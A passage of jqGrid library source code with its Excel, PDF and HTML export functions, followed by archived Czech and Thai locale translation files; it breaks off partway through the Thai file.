< cpos + ghdata[icol].numberOfColumns;fk++) { if(cm[fk].hidden === true) { nok--; } } start = $.jgrid.excelCellPos(ind) + mrow; end = $.jgrid.excelCellPos(ind+ nok - 1) + mrow; mergecell.push({ ref: start+":"+end }); break; } } } } } } addRow( clone, true, true ); } //$('row c', rels).attr( 's', defaultHeaderStyle ); // bold } if ( o.includeLabels ) { if($t.p.colSpanHeader.length) { mrow++; gh = $t.p.colSpanHeader; clone ={}; for(j = 0; j < data.header.length; j++ ) { key = data.header[j]; clone[key] = data.labels[j]; for (l = 0; l < gh.length; l++) { ghdata = gh[l]; if(ghdata.startColumnName === key) { clone[key] = ghdata.titleText; start = $.jgrid.excelCellPos(j) + mrow; end = $.jgrid.excelCellPos(j+ghdata.numberOfColumns -1) + mrow; mergecell.push({ ref: start+":"+end }); } } } addRow( clone, true, true ); } else { addRow( data.header, true, true ); } //$('row', rels).last().find('c').attr( 's', '2' ); // bold } if (data.mergecell.length) { mergecell = mergecell.concat(data.mergecell); } if(mergecell.length) { var merge = $.jgrid.makeNode( rels, 'mergeCells', { attr : { count : mergecell.length } }); $('worksheet', rels).append( merge ); for(i=0;i<mergecell.length;i++) { merge.appendChild($.jgrid.makeNode(rels, 'mergeCell',{ attr: mergecell[i] })); } } if ( o.includeHeader || $t.p.headerrow) { var hlen = $($t).jqGrid("headerData", "getlength"), il, hdata; for(il=0; il < hlen; il++) { hdata = $($t).jqGrid("headerData", "get", null, false, il, false); for( i in hdata) { if(hdata.hasOwnProperty(i)) { hdata[i] = $.jgrid.stripHtml(hdata[i]); } } if(!$.isEmptyObject(hdata)) { addRow( hdata, true ); $('row', rels).last().find('c').attr( 's', '2' ); // bold } } } if( $t.p.grouping ) { var savlcgr = $t.p.groupingView._locgr ? true : false; $t.p.groupingView._locgr = false; groupToExcel(data.body); $t.p.groupingView._locgr = savlcgr; } else { for ( var n=0, ie=data.body.length ; n<ie ; n++ ) { addRow( data.body[n], false ); } } if ( o.includeFooter || $t.p.footerrow) { if(!$.isEmptyObject(data.footer)) { if(Array.isArray(data.footer)) { for(var n=0;n<data.footer.length;n++) { addRow( data.footer[n], true ); $('row', rels).last().find('c').attr( 's', '2' ); // bold } } else { addRow( data.footer, true ); $('row', rels).last().find('c').attr( 's', '2' ); // bold } } } // Set column widths var cols = $.jgrid.makeNode( rels, 'cols' ); $('worksheet', rels).prepend( cols ); for ( i=0, ien=data.width.length ; i<ien ; i++ ) { cols.appendChild( $.jgrid.makeNode( rels, 'col', { attr: { min: i+1, max: i+1, width: data.width[i], customWidth: 1 } } ) ); } if($.jgrid.isFunction( o.onBeforeExport) ) { o.onBeforeExport.call($t, xlsx, rowPos ); } data = null; // free memory try { var zip = new JSZip(); var zipConfig = { type: 'blob', mimeType: o.mimetype }; $.jgrid.xmlToZip( zip, xlsx ); if ( zip.generateAsync ) { // JSZip 3+ zip.generateAsync( zipConfig ) .then( function ( blob ) { $.jgrid.saveAs( blob, o.fileName, { type : o.mimetype } ); }); } else { // JSZip 2.5 $.jgrid.saveAs( zip.generate( zipConfig ), o.fileName, { type : o.mimetype } ); } } catch(e) { throw e; } finally { if( $.jgrid.isFunction( o.loadIndicator )) { o.loadIndicator.call($t, 'hide'); } else if(o.loadIndicator) { $($t).jqGrid("progressBar", {method:"hide", loadtype : $t.p.loadui }); } } }); }, exportToPdf : function (o) { o = $.extend(true,{ title: null, orientation: 'portrait', pageSize: 'A4', description: null, onBeforeExport: null, download: 'download', includeLabels : true, includeGroupHeader : true, includeFooter : true, includeHeader : true, fileName : "jqGridExport.pdf", mimetype : "application/pdf", treeindent : "-", visibleTreeNodes : false, centerTableOnPage : false, loadIndicator : true // can be a function }, o || {} ); return this.each(function() { var $t = this, rows = [], j, cm = $t.p.colModel, ien, obj = {}, key, data = $t.p.treeGrid ? $($t).jqGrid('getRowData', null, true, o.treeindent, o.visibleTreeNodes) : $t.addLocalData( true ), def = [], i=0, map=[], test=[], widths = [], align={}; // Group function function groupToPdf ( grdata ) { var grp = $t.p.groupingView, cp=[], len =grp.groupField.length, cm = $t.p.colModel, colspans = cm.length, toEnd = 0; $.each(cm, function (i,n){ var ii; for(ii=0;ii<len;ii++) { if(grp.groupField[ii] === n.name ) { cp[ii] = i; break; } } }); function constructRow( row, fmt, skipfirstcol ) { var k =0, test=[], ommit, val; if(skipfirstcol === undefined ) { skipfirstcol = false; } //row = data[i]; for( var key=0; key < def.length; key++ ) { ommit = !(key === 0 && skipfirstcol);// ? false : true; val = row[def[key]]; obj = { text: val == null || val === '' ? '' : (fmt && ommit ? $.jgrid.formatCell( val + '', map[k], data[i], cm[map[k]], $t, 'pdf') : val), alignment : align[key], style : 'tableBody' }; test.push(obj); k++; } return test; } function findGroupIdx( ind , offset, grp) { var ret = false, i; if(offset===0) { ret = grp[ind]; } else { var id = grp[ind].idx; if(id===0) { ret = grp[ind]; } else { for(i=ind;i >= 0; i--) { if(grp[i].idx === id-offset) { ret = grp[i]; break; } } } } return ret; } function buildSummaryTd(i, ik, grp, foffset) { var fdata = findGroupIdx(i, ik, grp), //cm = $t.p.colModel, vv, grlen = fdata.cnt, k, retarr = emptyData(def); for(k=foffset; k<colspans;k++) { if(!cm[k]._expcol) { continue; } var tplfld = "{0}"; $.each(fdata.summary,function(){ if(this.nm === cm[k].name) { if(cm[k].summaryTpl) { tplfld = cm[k].summaryTpl; } vv = this.v; if(typeof this.st === 'string' && this.st.toLowerCase() === 'avg') { if(this.sd && this.vd) { vv = (this.v/this.vd); } else if(this.v && grlen > 0) { vv = (this.v/grlen); } } try { this.groupCount = fdata.cnt; this.groupIndex = fdata.dataIndex; this.groupValue = fdata.value; //vv = this.v; } catch (ef) { vv = this.v; } retarr[this.nm] = $.jgrid.stripHtml( $.jgrid.template(tplfld,vv) ); return false; } }); } return retarr; } function emptyData ( d ) { var clone = {}; for(var key = 0; key< d.length; key++ ) { clone[d[key]] = ""; } return clone; } var sumreverse = $.makeArray(grp.groupSummary), gv; sumreverse.reverse(); if($t.p.datatype === 'local' && !$t.p.loadonce) { $($t).jqGrid('groupingSetup'); var groupingPrepare = $.jgrid.getMethod("groupingPrepare"); for(var ll=0; ll < data.length; ll++) { groupingPrepare.call($($t), data[ll], ll); } } $.each(grp.groups,function(i,n){ toEnd++; try { if (Array.isArray(grp.formatDisplayField) && $.jgrid.isFunction(grp.formatDisplayField[n.idx])) { gv = grp.formatDisplayField[n.idx].call($t, n.displayValue, n.value, $t.p.colModel[cp[n.idx]], n.idx, grp); } else { gv = $t.formatter('', n.displayValue, cp[n.idx], n.value ); } } catch (egv) { gv = n.displayValue; } var grpTextStr = ''; if($.jgrid.isFunction(grp.groupText[n.idx])) { grpTextStr = grp.groupText[n.idx].call($t, gv, n.cnt, n.summary); } else { grpTextStr = $.jgrid.template(grp.groupText[n.idx], gv, n.cnt, n.summary); } if( !(typeof grpTextStr ==='string' || typeof grpTextStr ==='number' ) ) { grpTextStr = gv; } var arr; if(grp.groupSummaryPos[n.idx] === 'header') { arr = buildSummaryTd(i, 0, grp.groups, 0 /*grp.groupColumnShow[n.idx] === false ? (mul ==="" ? 2 : 3) : ((mul ==="") ? 1 : 2)*/ ); } else { arr = emptyData(def); } var fkey = Object.keys(arr); arr[fkey[0]] = $.jgrid.stripHtml( new Array(n.idx*5).join(' ') + grpTextStr ); rows.push( constructRow (arr, true, true) ); var leaf = len-1 === n.idx; if( leaf ) { var gg = grp.groups[i+1], kk, ik, offset = 0, sgr = n.startRow, end = gg !== undefined ? gg.startRow : grp.groups[i].startRow + grp.groups[i].cnt; for(kk=sgr;kk<end;kk++) { if(!grdata[kk - offset]) { break; } var to = grdata[kk - offset]; rows.push( constructRow (to, true) ); } if(grp.groupSummaryPos[n.idx] !== 'header') { var jj; if (gg !== undefined) { for (jj = 0; jj < grp.groupField.length; jj++) { if (gg.dataIndex === grp.groupField[jj]) { break; } } toEnd = grp.groupField.length - jj; } for (ik = 0; ik < toEnd; ik++) { if(!sumreverse[ik]) { continue; } arr = buildSummaryTd(i, ik, grp.groups, 0); rows.push( constructRow (arr, true, true) ); } toEnd = jj; } } }); } //============================================================================ if( $.jgrid.isFunction( o.loadIndicator )) { o.loadIndicator.call($t, 'show'); } else if(o.loadIndicator) { $($t).jqGrid("progressBar", {method:"show", loadtype : $t.p.loadui, htmlcontent: $.jgrid.getRegional($t,'defaults.loadtext') }); } var k; for ( j=0, ien=cm.length ; j<ien ; j++ ) { cm[j]._expcol = true; if(cm[j].exportcol === undefined ) { if(cm[j].hidden) { cm[j]._expcol = false; } } else { cm[j]._expcol = cm[j].exportcol; } if( $.jgrid.isServiceCol(cm[j].name) || !cm[j]._expcol ) { continue; } obj = { text: $t.p.colNames[j], style: 'tableHeader' }; test.push( obj ); def[i] = cm[j].name; map[i] = j; widths.push(cm[j].width); align[cm[j].name] = cm[j].align || 'left'; i++; } var gh, clone; if(o.includeGroupHeader && $($t).jqGrid('isGroupHeaderOn') ) { gh = $t.p.groupHeader; for (i=0;i < gh.length; i++) { clone = []; var ghdata = gh[i].groupHeaders, colSpan = gh[i].useColSpanStyle; for(key=0; key < cm.length; key++ ) { /* if(colSpan) { obj = {text: $t.p.colNames[key], style: 'tableHeader', rowSpan : 2, verticalAlign : "center"}; } else { obj = {text:'', style: 'tableHeader'}; } */ var put_me = true; if( $.jgrid.isServiceCol( cm[key].name ) || !cm[key]._expcol ) { put_me = false; } else { if(colSpan) { obj = {text: $t.p.colNames[key], style: 'tableHeader', rowSpan : 2, verticalAlign : "center"}; } else { obj = {text:'', style: 'tableHeader'}; } } for(k=0;k<ghdata.length;k++) { if(ghdata[k].startColumnName === cm[key].name) { var nok = ghdata[k].numberOfColumns; for(var fk = key; fk<key+ghdata[k].numberOfColumns;fk++) { if(cm[fk].hidden === true) { nok--; } } obj = { text : ghdata[k].titleText, colSpan: nok, /*ghdata[k].numberOfColumns,*/ style: 'tableHeader' }; if(put_me===false && nok >0) { put_me = true; key=key+(ghdata[k].numberOfColumns-nok); } } } if(put_me) { clone.push(obj); } //j++; } rows.push(clone); } } if(o.includeLabels) { if($t.p.colSpanHeader.length) { gh = $t.p.colSpanHeader; clone = []; for(key=0; key < def.length; key++ ) { obj = {text: $t.p.colNames[key], style: 'tableHeader', verticalAlign : "center"}; for(k=0;k<gh.length;k++) { if(gh[k].startColumnName === def[key]) { obj = { text : gh[k].titleText, colSpan: gh[k].numberOfColumns, style: 'tableHeader' }; } } clone.push(obj); j++; } rows.push( clone ); } else { rows.push( test ); } } var hlen, il; if ( o.includeHeader && $t.p.headerrow) { var hdata; hlen = $($t).jqGrid("headerData", "getlength"); for(il=0; il < hlen; il++) { hdata = $($t).jqGrid("headerData", "get", null, false, il, false); test=[]; for( key =0; key< def.length; key++) { obj = { text : $.jgrid.stripHtml( $.jgrid.getAccessor(hdata, def[key]) ), style : 'tableFooter', alignment : align[def[key]] }; test.push( obj ); } rows.push( test ); } } if($t.p.grouping) { var savlcgr = $t.p.groupingView._locgr ? true : false; $t.p.groupingView._locgr = false; groupToPdf(data); $t.p.groupingView._locgr = savlcgr; } else { var row; for ( i=0, ien=data.length ; i<ien ; i++ ) { k =0; test=[]; row = data[i]; for( key = 0;key < def.length; key++ ) { obj = { text: row[def[key]] == null ? '' : $.jgrid.stripHtml($.jgrid.formatCell( $.jgrid.getAccessor(row, def[key]) + '', map[k], data[i], cm[map[k]], $t, 'pdf')), alignment : align[def[key]], style : 'tableBody' }; test.push(obj); k++; } rows.push(test); } } if ( o.includeFooter && $t.p.footerrow) { hlen = $($t).jqGrid("footerData", "getlength"); for(il=0; il < hlen; il++) { var fdata = $($t).jqGrid("footerData", "get", null, false, il, false); test=[]; for( key =0; key< def.length; key++) { obj = { text : $.jgrid.stripHtml( $.jgrid.getAccessor(fdata, def[key]) ), style : 'tableFooter', alignment : align[def[key]] }; test.push( obj ); } rows.push( test ); } } var tblcnt = { style : 'tableExample', widths : widths, table: { headerRows: (gh!=null) ? 0 : 1, body: rows } }; if(o.centerTableOnPage) { tblcnt = { columns : [ { width: '*', text: '' }, { style : 'tableExample', width: 'auto', widths : widths, table: { headerRows: (gh!=null) ? 0 : 1, body: rows }, alignment: "center" }, { width: '*', text: '' } ] }; } var doc = { pageSize: o.pageSize, pageOrientation: o.orientation, content: [ tblcnt ], styles: { tableHeader: { bold: true, fontSize: 11, color: '#2e6e9e', fillColor: '#dfeffc', alignment: 'center' }, tableBody: { fontSize: 10 }, tableFooter: { bold: true, fontSize: 11, color: '#2e6e9e', fillColor: '#dfeffc' }, title: { alignment: 'center', fontSize: 15 }, description: {} }, defaultStyle: { fontSize: 10 } }; if ( o.description ) { doc.content.unshift( { text: o.description, style: 'description', margin: [ 0, 0, 0, 12 ] } ); } if ( o.title ) { doc.content.unshift( { text: o.title, style: 'title', margin: [ 0, 0, 0, 12 ] } ); } if( $.jgrid.isFunction( o.onBeforeExport ) ) { o.onBeforeExport.call($t, doc); } try { var pdf = pdfMake.createPdf( doc ); pdf.getDataUrl(function(url) { if( $.jgrid.isFunction( o.loadIndicator )) { o.loadIndicator.call($t, 'hide'); } else if(o.loadIndicator) { $($t).jqGrid("progressBar", {method:"hide", loadtype : $t.p.loadui }); } }); if ( o.download === 'open' ) { pdf.open(); } else { pdf.getBuffer( function (buffer) { $.jgrid.saveAs( buffer, o.fileName, {type: o.mimetype } ); } ); } } catch(e) { throw e; } }); }, exportToHtml : function ( o ) { o = $.extend(true,{ title: '', onBeforeExport: null, includeLabels : true, includeGroupHeader : true, includeFooter: true, includeHeader: true, tableClass : 'jqgridprint', autoPrint : false, topText : '', bottomText : '', returnAsString : false, treeindent : ' ', visibleTreeNodes : false, loadIndicator : true // can be a function }, o || {} ); var ret; this.each(function() { var $t = this, cm = $t.p.colModel, i=0, j, ien, //obj={}, data = { body : $t.p.treeGrid ? $($t).jqGrid('getRowData', null, true, o.treeindent, o.visibleTreeNodes) : $t.addLocalData( true ), header : [], footer : [], width : [], map : [], align:[] }; for ( j=0, ien=cm.length ; j<ien ; j++ ) { cm[j]._expcol = true; if(cm[j].exportcol === undefined) { if(cm[j].hidden) { cm[j]._expcol = false; } } else { cm[j]._expcol = cm[j].exportcol; } if( cm[j].name === 'cb' || cm[j].name === 'rn' || cm[j].name === 'subgrid' || cm[j].name === 'sc' || !cm[j]._expcol) { continue; } data.header[i] = cm[j].name; data.width[ i ] = cm[j].width; data.map[i] = j; data.align[i] = cm[j].align || 'left'; i++; } var _link = document.createElement( 'a' ); var _styleToAbs = function( el ) { var clone = $(el).clone()[0]; if ( clone.nodeName.toLowerCase() === 'link' ) { clone.href = _relToAbs( clone.href ); } return clone.outerHTML; }; var _relToAbs = function( href ) { // Assign to a link on the original page so the browser will do all the // hard work of figuring out where the file actually is _link.href = href; var linkHost = _link.host; // IE doesn't have a trailing slash on the host // Chrome has it on the pathname if ( linkHost.indexOf('/') === -1 && _link.pathname.indexOf('/') !== 0) { linkHost += '/'; } return _link.protocol+"//"+linkHost+_link.pathname+_link.search; }; var addRow = function ( d, tag , style ) { var str = '<tr>', stl; for ( var i=0, ien=d.length ; i<ien ; i++ ) { stl = (style === true ? " style=width:"+data.width[i]+"px;":""); str += '<'+tag+stl+'>'+$t.p.colNames[data.map[i]]+'</'+tag+'>'; } return str + '</tr>'; }; var addBodyRow = function ( d, tag, frm, style, colsp) { var str = '<tr>', f, stl; //style = true; for ( var i=0, ien = data.header.length; i< ien; i++ ) { if(colsp) { stl = ' colspan= "'+ (data.header.length) +'"' + " style=text-align:left"; } else { stl = (style === true ? " style=width:"+data.width[i]+"px;text-align:"+data.align[i]+";" : " style=text-align:"+data.align[i]+";"); } f= data.header[i]; if (d.hasOwnProperty(f) ) { str += '<'+tag+stl+'>'+ (frm ? $.jgrid.formatCell( $.jgrid.getAccessor( d, f ), data.map[i], d, cm[data.map[i]], $t, 'html') : d[f])+'</'+tag+'>'; } if(colsp) { break; } } return str + '</tr>'; }; //========================================================================= function groupToHtml ( grdata ) { var grp = $t.p.groupingView, cp=[], len =grp.groupField.length, colspans = cm.length, toEnd = 0, retstr=""; $.each(cm, function (i,n){ var ii; for(ii=0;ii<len;ii++) { if(grp.groupField[ii] === n.name ) { cp[ii] = i; break; } } }); function findGroupIdx( ind , offset, grp) { var ret = false, i; if(offset===0) { ret = grp[ind]; } else { var id = grp[ind].idx; if(id===0) { ret = grp[ind]; } else { for(i=ind;i >= 0; i--) { if(grp[i].idx === id-offset) { ret = grp[i]; break; } } } } return ret; } function buildSummaryTd(i, ik, grp, foffset) { var fdata = findGroupIdx(i, ik, grp), //cm = $t.p.colModel, vv, grlen = fdata.cnt, k, retarr = emptyData(data.header); for(k=foffset; k<colspans;k++) { if(!cm[k]._expcol) { continue; } var tplfld = "{0}"; $.each(fdata.summary,function(){ if(this.nm === cm[k].name) { if(cm[k].summaryTpl) { tplfld = cm[k].summaryTpl; } vv = this.v; if(typeof this.st === 'string' && this.st.toLowerCase() === 'avg') { if(this.sd && this.vd) { vv = (this.v/this.vd); } else if(this.v && grlen > 0) { vv = (this.v/grlen); } } try { this.groupCount = fdata.cnt; this.groupIndex = fdata.dataIndex; this.groupValue = fdata.value; //vv = $t.formatter('', this.v, k, this); //vv = this.v; } catch (ef) { vv = this.v; } retarr[this.nm] = $.jgrid.stripHtml( $.jgrid.template(tplfld,vv) ); return false; } }); } return retarr; } function emptyData ( d ) { var clone = {}; for(var key=0;key<d.length; key++ ) { clone[ d[key] ] = ""; } return clone; } var sumreverse = $.makeArray(grp.groupSummary), gv; sumreverse.reverse(); if($t.p.datatype === 'local' && !$t.p.loadonce) { $($t).jqGrid('groupingSetup'); var groupingPrepare = $.jgrid.getMethod("groupingPrepare"); for(var ll=0; ll < data.body.length; ll++) { groupingPrepare.call($($t), data.body[ll], ll); } } $.each(grp.groups,function(i,n){ toEnd++; try { if (Array.isArray(grp.formatDisplayField) && $.jgrid.isFunction(grp.formatDisplayField[n.idx])) { gv = grp.formatDisplayField[n.idx].call($t, n.displayValue, n.value, $t.p.colModel[cp[n.idx]], n.idx, grp); } else { gv = $t.formatter('', n.displayValue, cp[n.idx], n.value ); } } catch (egv) { gv = n.displayValue; } var grpTextStr = ''; if($.jgrid.isFunction(grp.groupText[n.idx])) { grpTextStr = grp.groupText[n.idx].call($t, gv, n.cnt, n.summary); } else { grpTextStr = $.jgrid.template(grp.groupText[n.idx], gv, n.cnt, n.summary); } if( !(typeof grpTextStr ==='string' || typeof grpTextStr ==='number' ) ) { grpTextStr = gv; } var arr, colSpan = false; if(grp.groupSummaryPos[n.idx] === 'header') { arr = buildSummaryTd(i, 0, grp.groups, 0 /*grp.groupColumnShow[n.idx] === false ? (mul ==="" ? 2 : 3) : ((mul ==="") ? 1 : 2)*/ ); } else { arr = emptyData(data.header); colSpan = true; } var fkey = Object.keys(arr); arr[fkey[0]] = new Array(n.idx*5).join(' ') + grpTextStr ; retstr += addBodyRow( arr, 'td', true, toEnd === 1, colSpan ); var leaf = len-1 === n.idx; if( leaf ) { var gg = grp.groups[i+1], kk, ik, offset = 0, sgr = n.startRow, end = gg !== undefined ? gg.startRow : grp.groups[i].startRow + grp.groups[i].cnt; for(kk=sgr;kk<end;kk++) { if(!grdata[kk - offset]) { break; } var to = grdata[kk - offset]; retstr += addBodyRow( to, 'td', true ); //addRow( to, false ); } if(grp.groupSummaryPos[n.idx] !== 'header') { var jj; if (gg !== undefined) { for (jj = 0; jj < grp.groupField.length; jj++) { if (gg.dataIndex === grp.groupField[jj]) { break; } } toEnd = grp.groupField.length - jj; } for (ik = 0; ik < toEnd; ik++) { if(!sumreverse[ik]) { continue; } arr = buildSummaryTd(i, ik, grp.groups, 0); retstr += addBodyRow( arr, 'td', true ); //addRow( arr, true ); } toEnd = jj; } } }); return retstr; } if( $.jgrid.isFunction( o.loadIndicator )) { o.loadIndicator.call($t, 'show'); } else if(o.loadIndicator) { $($t).jqGrid("progressBar", {method:"show", loadtype : $t.p.loadui, htmlcontent: $.jgrid.getRegional($t,'defaults.loadtext') }); } var html = '<table class="'+o.tableClass+'">'; if ( o.includeLabels ) { html += '<thead>'+ addRow( data.header, 'th', true ) +'</thead>'; } html += '<tbody>'; var hlen, il; if ( o.includeHeader && $t.p.headerrow ) { var hdata; hlen = $($t).jqGrid("footerData", "getlength"); for(il=0; il < hlen; il++) { for(il=0; il < hlen; il++) { hdata = $($t).jqGrid("headerData", "get", null, false, il, false); html += addBodyRow( hdata, 'td' , false); } } } if( $t.p.grouping ) { var savlcgr = $t.p.groupingView._locgr ? true : false; $t.p.groupingView._locgr = false; html += groupToHtml(data.body); $t.p.groupingView._locgr = savlcgr; } else { for ( i=0, ien=data.body.length ; i<ien ; i++ ) { html += addBodyRow( data.body[i], 'td', true, (i===0?true:false) ); } } if ( o.includeFooter && $t.p.footerrow ) { hlen = $($t).jqGrid("footerData", "getlength"); for(il=0; il < hlen; il++) { data.footer[il] = $($t).jqGrid("footerData", "get", null, false, il, false); html += addBodyRow( data.footer[il], 'td' , false); } } html += '</tbody>'; html += '</table>'; if (o.returnAsString ) { ret = html; } else { // Open a new window for the printable table var win = window.open( '', '' ); win.document.close(); var head = o.title ? '<title>'+o.title+'</title>' : ''; $('style, link').each( function () { head += _styleToAbs( this ); } ); try { win.document.head.innerHTML = head; // Work around for Edge } catch (e) { $(win.document.head).html( head ); // Old IE } win.document.body.innerHTML = (o.title ? '<h1>'+o.title+'</h1>' : '') + '<div>'+(o.topText || '')+'</div>'+ html+ '<div>'+(o.bottomText || '')+'</div>'; $(win.document.body).addClass('html-view'); $('img', win.document.body).each( function ( i, img ) { img.setAttribute( 'src', _relToAbs( img.getAttribute('src') ) ); } ); if( $.jgrid.isFunction( o.onBeforeExport ) ) { o.onBeforeExport.call($t, win); } if(Boolean(win.chrome)) { if ( o.autoPrint ) { win.print(); win.close(); } } else { setTimeout( function () { if ( o.autoPrint ) { win.print(); win.close(); } }, 1000 ); } } if( $.jgrid.isFunction( o.loadIndicator )) { o.loadIndicator.call($t, 'hide'); } else if(o.loadIndicator) { $($t).jqGrid("progressBar", {method:"hide", loadtype : $t.p.loadui }); } }); return ret; } }); //module end })); i18n/grid.locale-cs.js000064400000014200151677266200010460 0ustar00/** * jqGrid Czech Translation * Pavel Jirak pavel.jirak@jipas.cz * doplnil Thomas Wagner xwagne01@stud.fit.vutbr.cz * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["cs"] = { defaults : { recordtext: "Zobrazeno {0} - {1} z {2} záznamů", emptyrecords: "Nenalezeny žádné záznamy", loadtext: "Načítám...", savetext: "Saving...", pgtext : "Strana {0} z {1}", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Vyhledávám...", Find: "Hledat", Reset: "Reset", odata: [{ oper:'eq', text:"rovno"},{ oper:'ne', text:"nerovno"},{ oper:'lt', text:"menší"},{ oper:'le', text:"menší nebo rovno"},{ oper:'gt', text:"větší"},{ oper:'ge', text:"větší nebo rovno"},{ oper:'bw', text:"začíná s"},{ oper:'bn', text:"nezačíná s"},{ oper:'in', text:"je v"},{ oper:'ni', text:"není v"},{ oper:'ew', text:"končí s"},{ oper:'en', text:"nekončí s"},{ oper:'cn', text:"obsahuje"},{ oper:'nc', text:"neobsahuje"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "všech" }, { op: "OR", text: "některého z" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Přidat záznam", editCaption: "Editace záznamu", bSubmit: "Uložit", bCancel: "Storno", bClose: "Zavřít", saveData: "Data byla změněna! Uložit změny?", bYes : "Ano", bNo : "Ne", bExit : "Zrušit", msg: { required:"Pole je vyžadováno", number:"Prosím, vložte validní číslo", minValue:"hodnota musí být větší než nebo rovná ", maxValue:"hodnota musí být menší než nebo rovná ", email: "není validní e-mail", integer: "Prosím, vložte celé číslo", date: "Prosím, vložte validní datum", url: "není platnou URL. Vyžadován prefix ('http://' or 'https://')", nodefined : " není definován!", novalue : " je vyžadována návratová hodnota!", customarray : "Custom function mělá vrátit pole!", customfcheck : "Custom function by měla být přítomna v případě custom checking!" } }, view : { caption: "Zobrazit záznam", bClose: "Zavřít" }, del : { caption: "Smazat", msg: "Smazat vybraný(é) záznam(y)?", bSubmit: "Smazat", bCancel: "Storno" }, nav : { edittext: " ", edittitle: "Editovat vybraný řádek", addtext:" ", addtitle: "Přidat nový řádek", deltext: " ", deltitle: "Smazat vybraný záznam ", searchtext: " ", searchtitle: "Najít záznamy", refreshtext: "", refreshtitle: "Obnovit tabulku", alertcap: "Varování", alerttext: "Prosím, vyberte řádek", viewtext: "", viewtitle: "Zobrazit vybraný řádek", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Zobrazit/Skrýt sloupce", bSubmit: "Uložit", bCancel: "Storno" }, errors : { errcap : "Chyba", nourl : "Není nastavena url", norecords: "Žádné záznamy ke zpracování", model : "Délka colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "Ne", "Po", "Út", "St", "Čt", "Pá", "So", "Neděle", "Pondělí", "Úterý", "Středa", "Čtvrtek", "Pátek", "Sobota" ], monthNames: [ "Led", "Úno", "Bře", "Dub", "Kvě", "Čer", "Čvc", "Srp", "Zář", "Říj", "Lis", "Pro", "Leden", "Únor", "Březen", "Duben", "Květen", "Červen", "Červenec", "Srpen", "Září", "Říjen", "Listopad", "Prosinec" ], AmPm : ["do","od","DO","OD"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-th.js000064400000020115151677266200010470 0ustar00/** * jqGrid Thai Translation * Kittituch Manakul m.kittituch@Gmail.com * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["th"] = { defaults : { recordtext: "แสดง {0} - {1} จาก {2}", emptyrecords: "ไม่พบข้อมูล", loadtext: "กำลังร้องขอข้อมูล...", pgtext : "หน้า {0} จาก {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "กำลังค้นหา...", Find: "ค้นหา", Reset: "คืนค่ากลับ", odata: [{ oper:'eq', text:"เท่ากับ"},{ oper:'ne', text:"ไม่เท่ากับ"},{ oper:'lt', text:"น้อยกว่า"},{ oper:'le', text:"ไม่มากกว่า"},{ oper:'gt', text:"มากกกว่า"},{ oper:'ge', text:"ไม่น้อยกว่า"},{ oper:'bw', text:"ขึ้นต้นด้วย"},{ oper:'bn', text:"ไม่ขึ้นต้นด้วย"},{ oper:'in', text:"มีคำใดคำหนึ่งใน"},{ oper:'ni', text:"ไม่มีคำใดคำหนึ่งใน"},{ 